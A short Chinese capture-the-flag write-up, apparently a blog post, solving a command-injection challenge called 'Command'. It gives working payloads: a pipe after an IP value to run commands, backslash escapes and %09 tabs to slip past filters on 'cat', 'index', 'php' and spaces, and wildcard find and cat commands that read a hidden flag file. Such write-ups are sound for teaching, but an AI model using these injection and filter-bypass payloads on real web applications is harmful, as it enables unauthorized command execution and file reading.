祥云杯--Command

在这里插入图片描述
在这里插入图片描述
命令执行漏洞
尝试127.0.0.2|ls(|:无论左边是false还是true,右边都会执行)
在这里插入图片描述
在这里插入图片描述
发现了文件夹下有index.php,我们首先需要把它读出来(题目过滤了空格还有cat命令,也过滤了index和php字符串)
我们尝试收发现可以用c\a\t ind\e\x p\h\p来代替
空格可以用<或者%09来代替

在这里插入图片描述
burpsuite下可用%09(浏览器下可能不成功)
在这里插入图片描述
由indexelse if(preg_match("/.*f.*l.*a.g./", $ip)){
flag可能是flag.txt
构造payload去搜索
?url=127.0.0.2|find%09/%09-name%09???.???
哈哈,通配符的魅力
在这里插入图片描述
在这里插入图片描述
/etc/.findflag/flag.txt
搜索出来,flag用???去代替
url=127.0.0.2|c\a\t%09/etc/.find???/???.txt
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值